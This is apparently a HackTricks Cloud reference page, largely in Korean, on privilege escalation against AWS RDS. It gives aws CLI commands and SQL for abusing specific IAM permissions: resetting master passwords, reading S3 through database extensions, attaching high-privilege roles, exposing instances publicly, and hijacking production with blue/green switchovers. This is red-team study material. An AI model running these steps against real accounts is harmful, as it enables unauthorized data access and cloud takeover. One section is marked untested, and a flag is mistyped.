AWS - RDS Privesc
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
RDS - 관계형 데이터베이스 서비스
RDS에 대한 자세한 정보는 다음을 확인하세요:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
해당 권한으로 공격자는 마스터 사용자의 비밀번호를 변경하고, 데이터베이스 내 로그인 정보를 변경할 수 있습니다:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
Warning
데이터베이스에 접속할 수 있어야 합니다 (일반적으로 내부 네트워크에서만 접근 가능합니다).
잠재적 영향: 데이터베이스 내부에서 민감한 정보를 찾을 수 있습니다.
rds-db:connect
해당 docs에 따르면 이 권한을 가진 사용자는 DB 인스턴스에 연결할 수 있습니다.
Abuse RDS Role IAM permissions
Postgresql (Aurora)
Tip
**
SELECT datname FROM pg_database;**를 실행했을 때 **rdsadmin**이라는 데이터베이스가 보이면, AWS postgresql 데이터베이스 내부에 있다는 것을 알 수 있습니다.
먼저 이 데이터베이스가 다른 AWS 서비스에 접근하는 데 사용되었는지 확인할 수 있습니다. 설치된 확장을 확인해 보면 됩니다:
SELECT * FROM pg_extension;
If you find something like aws_s3 you can assume this database has some kind of access over S3 (there are other extensions such as aws_ml and aws_lambda).
또한, aws rds describe-db-clusters 를 실행할 권한이 있다면 출력에서 AssociatedRoles 필드에 클러스터에 IAM Role이 연결되어 있는지 확인할 수 있습니다. 만약 연결된 Role이 있다면, 해당 데이터베이스가 다른 AWS services에 접근하도록 준비되어 있었다고 볼 수 있습니다. Role의 name(또는 Role의 permissions을 확인할 수 있다면)을 기반으로 데이터베이스가 어떤 추가 접근 권한을 가졌는지 guess할 수 있습니다.
이제, 버킷 내부의 파일을 읽기 위해서는 전체 경로를 알아야 합니다. 다음으로 읽을 수 있습니다:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
만약 raw AWS credentials가 있다면 이를 사용해 S3 데이터에 접근할 수도 있습니다:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
Note
Postgresql S3에 접근하기 위해 어떤 parameter group 변수도 변경할 필요가 없다.
Mysql (Aurora)
Tip
mysql 내부에서 쿼리
SELECT User, Host FROM mysql.user;를 실행했을 때rdsadmin라는 사용자가 있으면 해당 환경이 AWS RDS mysql db 임을 유추할 수 있다.
mysql 내부에서 show variables; 를 실행하고 aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role 같은 변수들이 값이 있으면 데이터베이스가 S3 데이터에 접근할 준비가 되어 있다고 볼 수 있다.
또한, aws rds describe-db-clusters 를 실행할 권한이 있으면 클러스터에 연결된 역할(associated role) 이 있는지 확인할 수 있다(이는 일반적으로 AWS 서비스에 대한 접근을 의미한다).
이제 버킷 내 파일을 읽기(read a file inside a bucket) 위해서는 전체 경로를 알아야 한다. 다음 명령으로 읽을 수 있다:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster, iam:PassRole
권한 rds:AddRoleToDBCluster 및 iam:PassRole을 가진 attacker는 기존 RDS 인스턴스에 지정된 역할을 추가할 수 있습니다. 이로 인해 attacker는 민감한 데이터에 접근하거나 인스턴스 내의 데이터를 수정할 수 있습니다.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Potential Impact: RDS 인스턴스의 민감한 데이터에 접근하거나 데이터에 무단으로 변경을 가할 수 있습니다.
Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also.
rds:CreateDBInstance
이 권한만으로 공격자는 이미 존재하고 IAM role이 연결된 클러스터 내에 새 인스턴스를 생성할 수 있습니다. 마스터 사용자 암호는 변경할 수 없지만, 새 데이터베이스 인스턴스를 인터넷에 노출시킬 수 있습니다:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance, iam:PassRole
Note
TODO: 테스트
rds:CreateDBInstance 및 iam:PassRole 권한을 가진 공격자는 지정된 역할이 연결된 새로운 RDS 인스턴스를 생성할 수 있습니다. 공격자는 이후 민감한 데이터에 접근하거나 인스턴스 내의 데이터를 수정할 수 있습니다.
Warning
Some requirements of the role/instance-profile to attach (from here):
- profile은 귀하의 계정에 존재해야 합니다.
- profile은 Amazon EC2가 assume할 수 있는 권한을 가진 IAM role을 포함해야 합니다.
- instance profile name과 연관된 IAM role name은 접두사
AWSRDSCustom으로 시작해야 합니다.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Potential Impact: RDS 인스턴스의 민감한 데이터에 대한 액세스 또는 데이터에 대한 무단 수정.
rds:AddRoleToDBInstance, iam:PassRole
권한 rds:AddRoleToDBInstance 및 iam:PassRole을 가진 공격자는 기존 RDS 인스턴스에 지정된 역할을 추가할 수 있습니다. 이는 공격자가 민감한 데이터에 접근하거나 인스턴스 내의 데이터를 수정할 수 있게 할 수 있습니다.
Warning
이 작업을 위해 DB 인스턴스는 클러스터 외부에 있어야 합니다
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Potential Impact: 민감한 데이터에 접근하거나 RDS 인스턴스의 데이터를 무단으로 수정할 수 있습니다.
rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment
해당 권한을 가진 공격자는 production 데이터베이스(Blue)를 복제하고, 복제본(Green)에 고권한 IAM 역할을 연결한 다음 switchover를 사용해 운영 환경을 교체할 수 있습니다. 이를 통해 공격자는 데이터베이스의 권한을 상승시켜 다른 AWS 리소스에 무단으로 접근할 수 있습니다.
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
잠재적 영향: 프로덕션 데이터베이스 환경의 완전한 장악. 전환 후 데이터베이스는 권한이 상승된 상태로 동작하여 데이터베이스 내부에서 다른 AWS 서비스(예: S3, Lambda, Secrets Manager)에 대한 무단 접근을 허용합니다.
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud

